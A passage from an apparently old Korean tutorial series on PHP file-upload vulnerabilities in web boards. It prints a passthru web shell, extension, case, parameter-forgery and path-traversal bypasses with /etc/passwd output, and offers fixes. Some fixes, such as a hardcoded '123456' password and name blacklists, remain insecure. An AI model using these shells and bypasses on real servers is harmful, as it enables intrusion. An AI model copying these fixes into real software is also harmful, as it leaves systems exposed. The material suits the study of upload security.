    인데, 만약 Cracker 가 html 을 수정하여 임의로

    <input type=file name=infile>

    를 추가한다면 Cracker 는 자료를 올릴 수 있게 될 것이다. (단 write_ok.php
    에서 별다른 인증을 거치지 않는다는 가정하임)

    한때 이런 버그를 이용하여 악의적인 Script 를 올린 후 Shell 을 획득하는
    방법이 유행하기도 하였다. 이 것은 우습게 보아서는 안될 부분이며 개발자가
    생각하는 것 이상으로 Server 에 피해를 미칠수도 있다.

    해결책을 알아보자.

    개발자가 개발을 하거나 Patch 를 할때 알아둬야 할 사항이 있다. Cracker 가
    Source 를 다 볼수 있는 환경이어도 hacking 을 당해선 안되는 것을 만들어야
    한다.

    이 말은 완벽한 CGI 를 만들라는 것이 아니라, 정석의 알고리즘을 사용하지
    않고 편법을 이용하여 단순히 눈속임을 하는 방법을 사용하지 말라는 이야기이다.

    board.php 와 같은 경우에는 특별히 수정하지 말고 writeform.html 에서 action
    script 인 write_ok.php 를 수정하는 것이 가장 좋은 방법이다.

    write_ok.php 의 맨 앞에 다음과 같은 인증을 한다. 만약 $pass 와 그 값이
    123456 이 아니라면 Admin 이 아닌 사용자가 글을 쓰려는 것으로 인식하여 script
    를 중지시킨다.

    if($pass!="123456")
    {
    echo "입력하신 암호는 정확하지 않습니다.<br>";
    echo "공지사항을 올리 실 수 없습니다.";
    exit;
    }

    sample.php 에서의 write_ok.php 에서는 약간 다르게 처리하면 될 것이다.
    write_ok.php 에서

    $fp=fopen("conf.txt", "r");

    $test=fgets($fp, 2);

    if($test==1) {
    copy($infile, "data/$infile_name");
    chmod("data/$infile_name", 0444);
    }

    이런식으로 file 을 실질적으로 Server 로 Copy 하는 copy 함수를 사용하기 전에
    conf.txt file 을 읽어와 설정값이 1 로 되어있는지 확인하고 1 이 아니라면
    file 을 copy 하지 않는다.



    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    4) file upload 알고리즘 시의 주의할점 -1-

    이번에 다룰 연속적인 주제는 기존의 Web Board 에서 자주 발견된 버그이다.
    이 보안 프로그램에서 다루는 내용이 유난히 Web Board 내용이 많은데 그것은
    Web 에서 Board 의 비율이 굉장히 높은 비중을 차지하고 있으며, Web Board
    에서 나온 대부분의 Security Hole 은 다른 CGI 에서도 드러나는 현상들이기
    때문이다.

    첫번째 다룰 주제는 Board 에 file upload 할때 일어날 수 있는 문제점 중의
    하나이다. php 프로그래밍에서는 사용자가 file 을 올리려 할때 php 와 같은
    확장자를 갖는 file 을 올리는 것을 막아야 한다. 이유는 사용자가 Server 에
    php file 을 올릴 수 있다면 서버에서 shell 을 실행할 수 있기 때문이다.

    예를 들자면 다음과 같은 script 를 Server 에 Upload 했다고 하자.

    hacking.php

    <?
    passthru($beist);
    ?>

    cracker 는 다음과 같은 방법으로 System 에서 Command 를 Execute 할 수있다.

    [요청]
    http://server/hacking.php?beist=cat /etc/passwd

    [결과]
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    cracker 는 Server 의 passwd file 을 읽을 수 있다. (물론 더 침입을 시도
    하였다면 System 의 Root 가 되는 것도 쉽게 가능하였을 것이다.)

    예전에 어떤 CGI 에서 다음과 같은 방법으로 php 업로드를 막으려 하였다.
    하지만, 완벽한 보안은 없는법. 이를 깨는 방법도 있다.

    write_ok.php

    1 <?
    2
    3 /* 절차 생략 */
    4
    5 $check=explode( ".", $in_file_name);
    6
    7 if($check[1]!="txt")
    8 {
    9 echo "죄송합니다. 확장자가 txt 가 아니라면 자료를 올리실 수 없습니다.";
    10 exit;
    11 }
    12
    13 $exist = file_exists("data/$in_file_name");
    14 if($exist)
    15 {
    16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
    17 exit;
    18 }
    19
    20 if(!copy($in_file, "data/$in_file_name"))
    21 {
    22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
    23 exit;
    24 }
    25
    26 chmod("data/$in_file_name", 0444);
    27
    28 unlink($in_file);
    29
    30 /* 절차 생략 */
    31
    32 ?>

    /* 이해를 쉽게 하기 위하여 소스의 맨 앞에 line number 를 붙였다.
    write_ok.php 로 값이 넘어갈때 file 의 변수값은 $in_file 이다. 뒤에
    apache, php 로 돌아가고 있는 서버일때 사용자의 FILE FORM 변수가
    in_file 이라면 넘어올때 $in_file_name, $in_file_size 와 같이 자동적으로
    변수가 붙게 된다. $in_file_name 은 사용자가 올린 file 이름을 말한다.
    5 번째 라인에서 $in_file_name 을 . 을 기준으로 $check 에 배열형식으로
    담는다. 예를 들어 이 문법은, test.php 라는 file 을 사용자가 올렸다면
    $check[0] 에는 test 가, $check[1] 에는 php 가 담기게 된다.
    7 번째 줄에서 $check[1] 의 확장자가 txt 가 아니라면 모두 잘못된
    file 로 간주하고 스크립트 실행을 중지시켜 버린다.
    만약 정상적인 file 이라면 그 다음 스크립트를 진행하여 file 은 아마도
    올바르게 저장이 될 것이다. */

    하지만 이 방법에도 취약점이 존재한다. 분명히 explode 를 이용하여 배열을
    나누긴 하지만 $check[1] 에만 txt 가 담기게 하면 인증을 무사히 통과할 수
    있을 것이다. 그래서 filename 을 hacking.txt.php 라고 올린다다면 $check[1]
    에는 txt 가 담기게 될것이고 결과적으로 php 파일은 올라가게 될것이다.

    [요청]
    http://server/data/hacking.txt.php?beist=cat /etc/passwd

    [결과]
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    php3, html, shtml 와 같이 php 스크립트를 돌릴수 있는 확장자도 더 있지만
    여기서는 설명을 위해 php 확장자 단 하나만이 스크립트를 돌릴 수 있다는
    가정하에 설명하였다.

    해결 방법을 알아보자.

    여기서의 문제점은 file name 에서 . 으로 나눴을때의 기준으로 첫번째
    배열만 검사를 한다는 점이다. (0 부터 시작한다.) 이에 대한 보완점으로
    file name 에서 . 으로 나누었을때 맨 마지막에 위치한 배열을 검사해야한다.
    올바르게 갱신된 소스를 살펴보자.

    write_ok2.php

    1 <?
    2
    3 /* 절차 생략 */
    4
    5 $check=explode( ".", $in_file_name);
    6 $point=count($check)-1;
    7 if($check[$point]!="txt")
    8 {
    9 echo "죄송합니다. 확장자가 txt 가 아니라면 자료를 올리실 수 없습니다.";
    10 exit;
    11 }
    12
    13 $exist = file_exists("data/$in_file_name");
    14 if($exist)
    15 {
    16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
    17 exit;
    18 }
    19
    20 if(!copy($in_file, "data/$in_file_name"))
    21 {
    22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
    23 exit;
    24 }
    25
    26 chmod("data/$in_file_name", 0444);
    27
    28 unlink($in_file);
    29
    30 /* 절차 생략 */
    31
    32 ?>

    추가된 부분은 6 번째 라인이다. $check 배열을 count 함수를 이용하여 몇개의
    배열이 있는지 알아보았고 그 $point 에 담아놓았다. 7 번째 줄에서 검사를 할때
    $point 를 주어 맨 마지막 배열을 검사하도록 하였다.

    결국 cracker 가 hacking.txt.php 를 올려도 txt 가 담긴 배열이 아닌 php 가
    담긴 배열을 검사함으로써 악의적인 목적을 가진 script 의 upload 를 막을 수가
    있다.
    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    5) file upload 알고리즘 시의 주의할점 -2-

    이번에 다룰 주제 역시 Web Board 상에서 File Upload 알고리즘 취약성에 관련되
    었다. 4 번 장에서 설명한바와 같이 php 프로그래밍에서는 사용자가 php 관련파일을
    올릴 수 없도록 막아야 한다. 왜냐하면 악의적인 php 스크립트를 만들어 server 의
    shell 을 얻을수도 있기 때문이다. 만약 cracker 가 shell 을 얻는다면 그것은
    cracker 에게 있어서 Web Hacking 의 최종 목적까지 가게 만든 것이다.

    write_ok3.php

    1 <?
    2
    3 /* 절차 생략 */
    4
    5 if(ereg("php", $in_file_name))
    6 {
    7 echo "장난하니?.. file 이름에 php 가 들어있으면 안됩니다.";
    8 exit;
    9 }
    10
    11
    12
    13 $exist = file_exists("data/$in_file_name");
    14 if($exist)
    15 {
    16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
    17 exit;
    18 }
    19
    20 if(!copy($in_file, "data/$in_file_name"))
    21 {
    22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
    23 exit;
    24 }
    25
    26 chmod("data/$in_file_name", 0444);
    27
    28 unlink($in_file);
    29
    30 /* 절차 생략 */
    31
    32 ?>

    /* 중요 취약점이 되는 부분만 설명하기 위해 불필요한 부분은 생략하였다.
    5 번째 줄에서 사용자가 보내온 file name 중 php 라는 문자열이 있으면
    걸러내기 위해 ereg 라는 함수를 사용하였다. */

    이번에 쓰인 php 파일 upload 막기 알고리즘은 사용자가 보내온 file name 에
    만약 php 라는 문자열이 존재한다면 php 스크립트로 알고 무조건 script 실행을
    취소하는 것이다. 이 방법에는 security hole 말고도 단점이 있다. 예를 들어
    사용자가 php.txt 라는 file 을 올릴때도 악의적인 script 로 간주하여 upload 를
    허용하지 않기 때문이다.

    그렇다면 이 알고리즘에 대한 security hole 을 알아보자.

    ereg 는 지정한 String 에서 특정 단어나 혹은 문자가 포함되어 있는지 알아볼
    수 있게 하는 함수이다. 하지만 ereg 는 소문자만 검사할뿐이지 대문자를 검사하지는
    않는다.

    만약에 cracker 가 file name 을 hacking.php 가 아닌 hacking.pHP 라는 식으로
    뒤에 대문자로 고친다면 ereg 함수는 인식을 하지 못하는 것이다. hacking.pHP 에
    <? passthru($beist); ?> 와 같은 악의적인 기능을 할수있는 script 를 짜서 서버에
    올린다면 cracker 는 System Command Execute 이 가능해질 것이고 이 것은 cracker
    에게 있어서 궁극적인 목표에 다달은 것이다.

    해결책을 알아보자.

    ereg function 은 알파벳의 소문자 밖에 검사를 하지 못한다. 그래서 대문자도
    같이 검사를 하기 위해서는 eregi 라는 함수를 사용해야 한다. eregi fucntion 을
    사용하여 검사를 하면 대, 소문자에 상관없이 check 를 해주기 때문에 위의
    hacking.pHP 같은 회피법을 막을 수 있다.

    write_ok4.php

    1 <?
    2
    3 /* 절차 생략 */
    4
    5 if(eregi("php", $in_file_name))
    6 {
    7 echo "장난하니?.. file 이름에 php 가 들어있으면 안됩니다.";
    8 exit;
    9 }
    10
    11
    12
    13 $exist = file_exists("data/$in_file_name");
    14 if($exist)
    15 {
    16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
    17 exit;
    18 }
    19
    20 if(!copy($in_file, "data/$in_file_name"))
    21 {
    22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
    23 exit;
    24 }
    25
    26 chmod("data/$in_file_name", 0444);
    27
    28 unlink($in_file);
    29
    30 /* 절차 생략 */
    31
    32 ?>

    수정한 부분은 5 번째 줄에서 ereg -> eregi 이다. 이런식으로 check 를 함으로써
    cracking 을 막을 수 있다.









    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    6) file upload 알고리즘 시의 주의할점 -3-

    이번에는 Web Board 상에서 File Upload 부분을 처리할때 Hacking 취약성
    3 번째를 알아보겠다. Cracker 가 Hacking 을 할때 가장 많이 이용하는 취약성은
    어떤 것일까? 단연 Web Hacking 이다. 그 중에서도 Board 의 File Upload
    취약성은 가장 많이 이용된다. 도대체 어떻게 된 구조길래 Cracker 들이
    가장 좋아하는 방법인지 알아보겠다.

    Cracker 가 Web Server 에 CGI 를 올려서는 절대 안된다고 몇차례 이미
    이야기를 했다. 이유는 Cracker 가 악의적인 CGI 를 올릴 수 있으면 서버에
    System Command 를 실행시킬 수도 있기 때문이다.

    이번엔 어떤 취약성일까? 알아보자.

    사용자가 Upload 할 File 을 지정하고, File 을 서버에 올리면 지정된 파일에는
    몇가지의 변수들이 정의되어 진다.

    예를 들어 다음과 같은 폼에서 File 을 올렸다고 가정하자.

    <form action=write_ok.php method=post enctype="multipart/form-data">
    Send this file: <input type=file name=in_file>
    <input type=submit value=Send>
    </form>

    $in_file - Upload 된 File 내용이 저장되어 있는 서버의 임시 File name

    $in_file_name - Upload 한 시스템에서 사용하는 File 의 원래 이름

    $in_file_size - byte 단위의 Upload된 파일의 크기.

    $in_file_type - 만약 browser가 업로드된 파일의 mime 형식을 안다면
    그 mime 형식. (Ex. "image/gif").

    이해를 돕기 위해 위와 같은 폼으로 자료를 올렸을때 나타나는 결과를 보자.
    나는 2309 byte 사이즈의 test.txt 라는 파일을 서버에 올렸다.

    <?

    echo "in_file = $in_file<br>";
    echo "in_file_name = $in_file_name<br>";
    echo "in_file_size = $in_file_size<br>";
    echo "in_file_type = $in_file_type<br>";

    ?>

    [결과]
    in_file = /tmp/phpoIVrVs
    in_file_name = test.txt
    in_file_size = 2309
    in_file_type = text/plain

    우리는 form 의 file type 을 이용하여 in_file 이라는 파일을 올렸는데
    3 가지의 변수가 자동으로 붙었다. 이 변수들은 파일의 type 을 체크하거나
    파일 사이즈등을 체크하려할때 아주 유용하게 사용되어 진다.

    하지만 여기에 Hacking 에 이용될 수 있는 취약점이 발생한다.

    예를 들어 다음의 소스를 보자.

    write_ok.php

    1 <?
    2
    3 /* 생략 */
    4
    5 if($in_file_name)
    6 {
    7 if($in_file_size == 0)
    8 {
    9 echo "모양 파일 크기 0 이양";
    10
    11 exit;
    12 }
    13
    14
    15
    16 }
    17
    18 if($in_file != "none" && $in_file)
    19 {
    20 $filetype = split("/", $in_file_type);
    21 $filetype = $filetype[0];
    22
    23 if($filetype == "text")
    24 $in_file_name = $in_file_name.".txt";
    25
    26 $exist = file_exists("data/$in_file_name");
    27
    28 if($exist)
    29 {
    30 echo "동일한 파일이름이 이미 존재합니다.";
    31 exit;
    32 }
    33
    34 if(!copy($in_file, "data/$in_file_name"))
    35 {
    36 echo "파일 저장 실패! 다시 올리라.";
    37 exit;
    38 }
    39
    40 chmod("data/$in_file_name", 0444);
    41
    42 unlink($in_file);
    43 }
    44
    45 /* 생략 */
    46
    47 ?>

    위 Source 에는 Hacking 취약성이 존재한다.

    이 취약성의 가장 핵심이 되는 내용은 File Upload 후에 자동적으로 붙는
    $in_file_name 과 $in_file_size, $in_file_type 등은 Client 마음대로 바꿀
    수 있다는 것이다.

    위 3 개의 변수들은 Server 에서 자동적으로 처리를 해주기는 하지면 우리에게
    우선권이 있다. 만약 우리가 query 를 보낼때 in_file_name=/etc/passwd 이런
    식으로 정의를 해준다면 Server 에서는 자기 임의대로 in_file_name 을 정의하지
    않는다. (이해를 쉽게 하기 위해 위의 표현을 쓴 것을 이해바란다.)

    write_ok.php 에서 CGI 를 올릴 수 없게 조취를 취한 것은 무엇이 있는지
    알아보자.

    먼저 5 번째 줄에서 in_file_name 변수가 존재한다면, 그러니까 사용자가
    File 을 올렸다면 그 File Size 가 0 인지 검사를 한다. 0 이라면 잘못된
    것으로 인식하여 Script 를 중지시킨다. 그리고 in_file 이 none 이 아니고
    존재했을때, file 의 type 을 구한다. 만약 File Type 이 text 형식이라면
    File 의 이름 뒤에 txt 를 붙인다. 이렇게 하는 이유는 만약 test.php 같은
    Script 를 올렸을때 뒤에 .txt 를 붙여서 WebServer 에서 php 를 실행하지
    않게끔 하기 위한 조취이다. 그래서 위의 상태라면 만약 hacking.php 라는
    File 을 올렸다면 Server 에는 hacking.php.txt 라는 File 이 될 것이다.

    26~32 줄은 File 이 Server 에 이미 존재하는지 확인하는 루틴이고 34 번 줄은
    Server 에 올려진 임시파일을 in_file_name 으로 Copy 를 하는 것이다.

    40 번째 줄은 퍼미션은 444 로 주었다. (user, group, other 에 read 권한만
    부여를 의미) 그리고 42 번째 줄에서 Server 에 올려진 임시파일을 지웠다.

    자 이제 이런 체크를 교묘히 빠져나가 보자. 빠져나가는 방법에는 여러 가지
    방법이 있는데 첫번째는 in_file_name 과 in_file_size 를 조작하는 방법이다.

    먼저 File 을 Read 할 수 있는 방법부터 보겠다. File Read 에서 가장 주의깊게
    봐야할 부분은 34 번째 줄이다.

    File 을 올리기 위해선 File Size 가 0 이 아니어야 한다. 그래서 File Size 에
    임의의 값 100 을 주겠다.

    (여기서 잠깐 php 에서 Copy Function 의 사용법을 간략하게 알아보겠다.
    문법은 다음과 같다. copy(src, dst); src 파일을 dst 로 copy 하라는 뜻이다.)

    src 에 들어가는 in_file 을 /etc/passwd 로 하겠다. 그리고 dst 에는 passwd.txt
    라고 하겠다. 위의 상황을 종합적으로 정리해봤을때 서버에 가야하는 query 는
    다음과 같다.

    http://server/write_ok.php?in_file=/etc/passwd&in_file_name=passwd.txt&in_file_size=100

    위와 같이 보낸다면 php 는 실제로 이렇게 작동될 것이다.

    if(!copy("/etc/passwd", "data/passwd.txt"))

    그럼 실제로 passwd.txt 를 요청하여 보자.

    [요청]
    http://server/data/passwd.txt

    [결과]
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    Remote File Read Attack 을 성공하였다. 하지만 진정한 Cracker 라면 여기서 만족
    하지 않는다. System Command Execute 까지 성공하여 보자.

    위 File Read 방법과 원리는 비슷하므로, 간략하게 절차적으로 설명하고, 필요한
    부분만 더 설명을 하겠다.

    먼저 서버에 정상적인 text File 을 하나 올리자.

    hack.txt

    <?
    passthru($beist);
    ?>

    hack.txt 이 정상적으로 Server 에 올려졌다면 hack.txt 는 hack.txt.txt 로 변해
    있을 것이다. (이해가 안된다면 20~24 번째 줄을 보자.)

    그리고 이렇게 요청을 하자.

    http://server/write_ok.php?in_file=data/hack.txt.txt&in_file_name=realhack.php&in_file_size=100

    원리를 살펴보자. 우리는 먼저 hack.txt 를 올렸다. hack.txt 에는 시스템에
    명령을 실행할 수 있는 passthru Function 이 담겼다. txt 확장자 파일로는 아무것도
    할 수 없지만, 이 파일을 이용하여 realhack.php 으로 카피한 것이다.

    실제로는 이렇게 카피가 될 것이다.

    if(!copy("data/hack.txt.txt", "data/realhack.php"))

    우리는 이로써 realhack.php 을 이용하여 System 의 Shell 을 따내게 되었다.

    [요청]
    http://server/data/realhack.php?beist=cat /etc/passwd

    [결과]
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    또 다른 방법은 hack.php 라는 File 을 in_file 과 in_file_name 의 query 조작
    말고도 in_file_type 을 임의로 변경하여 text file 이 아닌 것처럼 올린다면
    뒤에 뒤에 txt 확장자가 붙지 않으니 정상적으로 Server 에서 Shell 을 실행시킬
    수 있을 것이다. 이 방법은 위에서 많이 설명하였으니 실질적인 공격 방법은
    설명하지 않겠다.

    두번째 공격 방법에 대해서 알아보자.

    두번째 공격 방법에서는 in_file 같은 변수들을 조작하지 않고 Hacking 을 할
    것이다. 20~24 번째 줄에서는 text 파일일 경우에만 file name 뒤에 txt 를
    붙인다. 그렇다면 text type 이 아닌 binary file 을 올리면 어떻게 될까?

    확장자가 php 라도 binary file 이라면 20~24 줄 검사에서 text 가 아니니
    뒤에 txt 가 붙지도 않을 것이다.

    php binary file(?) 을 만들어 보자. (Zend 가 아닌)

    hack.c

    #include <stdio.h>
    main()
    {
    }

    $ gcc -o hack.php hack.c
    $ vi hack.php

    ^?ELF^A^A^A^@^@^@^@^@^@^@^@^@^B^@^C^@^A^@^@^@0~C^D^H4^@^@^@L(^@^@^@^@^@^@
    F^@(^@^^^@^[^@^F^@^@^@4^@^@^@4~@^D^H4~@^D^H?@^@^@?@^@^@^E^@^@^@^D^@^@^@
    @?@^@^@?@^D^H?@^D^H^S^@^@^@^S^@^@^@^D^@^@^@^A^@^@^@
    <? passthru($beist); ?>
    ^A^@^@^@^@^@^@^@^@~@^D^H^@~@^D^H?D^@^@?D^@^@^E^@^@^@^@^P^@^@^A^@^@^@?D
    ^D^H?T^D^H?@^@^@?@^@^@^F^@^@^@^@^P^@^@^B^@^@^@?D^@^@?T^D^H?T^D^H| ^
    <@^@^@^F^@^@^@^D^@^@^@^D^@^@^@^H^A^@^@^H~A^D^H^H~A^D^H ^@^@^@ ^@^@^@^D^@^
    ^@^@/lib/ld-linux.so.2^@^@^D^@^@^@^P^@^@^@^A^@^@^@GNU^@^@^@^@^@^B^@^@^@^@

    vi 저장후 빠져나옴.

    위에 대해서 설명을 하겠다. 먼저 아무런 기능도 하지 않는 hack.c 라는 file
    을 만든 후 hack.php 로 컴파일을 한다. 컴파일한 file 을 열어 (열었을때 이상
    한 문자가 나올 것이다.) 그 중간에 시스템에 명령을 실행할 수 있는 Code 를
    넣는다. (passthru Function)

    이제 이 File 은 중간에 Text Code 넣었음에도 binary File 이다. 비교를
    해보자.

    test.php

    <?
    passthru($beist);
    ?>

    $ file test.php
    test.php: ASCII text

    $ file hack.php
    hack.php: ELF 32-bit LSB executable, Intel 80386, version 1, statically
    linked (uses shared libs), stripped

    우리의 hack.php 는 ELF 포맷을 갖는 binary 가 되었다. 이 File 을 서버에
    올리면 File Type 에 걸리지 않고 무사히 올라가게 될 것이고 중간에 넣은
    Code 로 Cracker 는 Hacking 을 할 수 있다.

    [요청]
    http://server/data/hack.php?beist=cat /etc/passwd

    [결과]
    ELF^^A^A^A^A^A^A^A^A^A^A^A^A^A^A^A^C^F^^E@^F^
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    (위의 경우, C 로 짜여진 CGI 를 File Type Text 검사에 걸리지 않아서 넘어
    갈 수 있겠지만 퍼미션을 user, group, other 에 read 만 부여하였기 때문에
    Forbidden 이 나올 것이다.)

    이제 이 두 Hacking 방법에 대한 대처 방안을 알아보자.

    PHP 에서는 이 환경 변수에 의한 취약성을 인식하고 새로운 Function 을
    내놓게 되었다. 바로 is_uploaded_file 이다. 이 Function 을 써서 사용자가
    올린 파일이 정상인지 아닌지 체크가 가능하다.

    수정된 write2_ok.php 의 일부분을 살펴보겠다.

    write2_ok.php

    1 if($in_file != "none" && $in_file)
    2 {
    3 $not_file = is_uploaded_file($in_file);
    4
    5 if( !$not_file ) {
    6 echo "장난 하냐?"; exit; }
    7
    8 $filetype = split("/", $in_file_type);
    9 $filetype = $filetype[0];

    3 번째 줄에서 사용자가 Upload 한 파일이 정상적으로 올린 파일인지 아닌지
    검사를 하기 위해 is_uploaded_file 를 실행하여 만약 정상적이지 않다면
    스크립트를 중지시킨다.

    [요청]
    http://server/write_ok.php?in_file=data/hack.txt.txt&in_file_name=realhack.php&in_file_size=100

    [결과]
    장난 하냐?

    성공적으로 막았다. 하지만 이 방법으로는 안전하지 않다. 사용자가 in_file
    은 정상적인 File 을 Upload 하고 in_file_name 을 조작하여 보낼 수도 있기
    때문이다.

    예를 들어

    <form action=write_ok.php method=post enctype="multipart/form-data">
    Send this file: <input type=file name=in_file>
    <input type=hidden name=in_file_name value="test.php">
    <input type=submit value=Send>
    </form>

    이렇게 hidden type 으로 data 를 하나 올린다면 Server 에서 사용자가 올린
    hacking.txt 의 file 을 test.php 로 copy 할 것이다.

    hacking.txt

    <?
    passthru($beist);
    ?>

    [요청]
    http://server/data/test.php?beist=cat /etc/passwd

    [결과]
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    조금 더 안전하게 하기 위해 $in_file_name 의 이름 중에 php 관련 파일이
    있다면 취소를 하게끔 추가하도록 하자.

    if(eregi("php", $in_file_name))
    {
    echo "장난하니?.. file 이름에 php 가 들어있습니다.";
    exit;
    }

    그리고, 상위 디렉토리의 진입을 막기 위한 조취도 취해놓자.

    if(eregi("\.\.", $in_file))
    {
    echo "장난하니?.. file 이름에 .. 가 들어있으면 안됩니다.";
    exit;
    }

    두번째, binary File 을 올려서 File type 을 속이는 Hacking 에 대한 대처
    방법을 알아보자.

    어떤 상황이라도 사용자가 Server 에 php 관련 파일의 확장자를 올리는 것은
    위험하다. 실제로 그 File 이 실행이 되지 않더라도 말이다.

    그래서 애초에 File Name 에 php 관련 파일이 들어가선 안되도록 조취를
    취하는 것이 좋은 방법이다.

    if(eregi("php", $in_file_name))
    {
    echo "장난하니?.. file 이름에 php 가 들어있습니다.";
    exit;
    }

    아니면 File Name 을 확장자를 갖게 하지 말고 번호를 갖게 다음의 알고리즘을
    적절히 이용하는 방법도 괜찮다.

    $count=0;
    $fp=fopen("count.txt", "r");
    $count=fgets($fp, 10);

    copy($in_file, "data/$count");
    $count++;
    fclose($fp);

    $fp=fopen("count.txt", "w");
    fputs($fp, $count, 10);
    fclose($fp);



    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    7) file upload 알고리즘 시의 주의할점 -4-

    이번 주제는 Web CGI Board 에서 File Upload 시의 취약성에 대해서
    알아보겠다. 벌써 file upload 관련 글이 4 개나 나왔는데 이 것으로
    보아 Cracker 가 가장 좋아하는 것중 하나가 File Upload 라는 것은
    확실하다.

    그만큼 취약점이 나왔는데도 이번에는 어떠한 취약점이 나올까.
    이번 역시 File 을 Upload 할때의 이름과 관계가 있다. 어떻게 보면
    이번 버그는 개발자가 알고리즘을 짤때의 취약성은 아니고, php 에서
    처리하는 방식에 따라서 문제가 있다.

    우리가 파일을 올릴때는 보통 다음과 같은 형식으로 올리게 된다.
    다음과 같은 File Upload 폼이 있다고 하자.

    <form action=write_ok.php method=post enctype="multipart/form-data">
    Send this file: <input type=file name=in_file>
    <input type=submit value=Send>
    </form>

    그리고 file 이름에 다음과 같이 적어서 Send 버튼을 누르자.

    c:\upload\test.txt

    write_ok.php 의 소스는 다음과 같다.

    write_ok.php

    <?

    echo "in_file = $in_file<br>";
    echo "in_file_name = $in_file_name<br>";
    echo "in_file_size = $in_file_size<br>";
    echo "in_file_type = $in_file_type<br>";

    ?>

    소스만 보고도 위의 Script 가 무엇을 하는지 알 수 있을 것이다. Send
    버튼을 누르면 결과는 다음과 같이 나온다.

    in_file = /tmp/phpO3EWtg
    in_file_name = test.txt
    in_file_size = 20
    in_file_type = text/plain

    보다시피 $in_file_name 에는 c:\upload\ 가 짤린 상태이다. 그러면 php
    에서는 어떤 기준으로 in_file_name 을 구하는 것인가? 사용자가 입력한
    file name 에서 Escape 문자로 구별한다. Escape 가 맨 마지막으로 쓰인
    곳에서 뒤의 문자열들을 $in_file_name 으로 보는 것이다.

    여기에는 심각한 Security Hole 이 있다.

    가령 다음과 같은 File Name 을 주고 File 을 올렸다고 생각하여 보자.

    c:\upload\a\../test.txt

    위 File path 의 뜻을 굳이 해석하자면 다음과 같다. c:\upload\a 디렉토리
    에서 한번 상위디렉토리로 이동한 후 test.txt 파일을 말한다. 결과적으로
    이 것은 c:\upload\test.txt 이다.

    하지만 위에서 설명했듯이 php 에서는 Escape 가 맨 마지막으로 쓰인 곳에서
    뒤의 문자열들을 in_file_name 으로 생각한다. 그래서 서버에 저장되는
    $in_file_name 은 ../test.txt 가 되는 것이다. 물론, Client 에서의 이
    파일은 c:\upload\test.txt 이므로 아무런 이상 없이 Upload 가 된다.

    만약 다음과 같은 소스가 있다고 하자.

    1 <?
    2
    3 /* 생략 */
    4
    5 if($in_file_name)
    6 {
    7 if($in_file_size == 0)
    8 {
    9 echo "모양 파일 크기 0 이양";
    10 exit;
    11 }
    12}
    13
    14 if($in_file != "none" && $in_file)
    15 {
    16
    17 $exist = file_exists("data/$in_file_name");
    18
    19 if($exist)
    20 {
    21 echo "동일한 파일이름이 이미 존재합니다.";
    22 exit;
    23 }
    24
    25 if(!copy($in_file, "data/$in_file_name"))
    26 {
    27 echo "파일 저장 실패! 다시 올리라.";
    28 exit;
    29 }
    30
    31 chmod("data/$in_file_name", 0444);
    32
    33 unlink($in_file);
    34 }

    /* 생략 */

    ?>

    그리고 httpd.conf 에서 data 디렉토리 밑에 있는 File 들은 Web 을 통해서는
    읽지 못하도록 다음과 같이 설정을 하였다고 가정한다.

    <DirectoryMatch "^/.*/data">
    AddType application/x-httpd-php-source .phps .php .ph .php3 .cgi .sh .pl
    .html .htm .shtml .vbs .ins .inc .py

    Options FollowSymLinks
    AllowOverride None
    Order allow,deny
    Deny from all
    </DirectoryMatch>

    이렇게 되면 hacking.php 같은 악의적인 파일을 서버에 올린다고 하여도 Web 에서
    읽게 되면 Forbidden 이 나오므로 서버에 명령을 실행 할 수 없게 된다.

    hacking.php

    <?
    passthru($beist);
    ?>

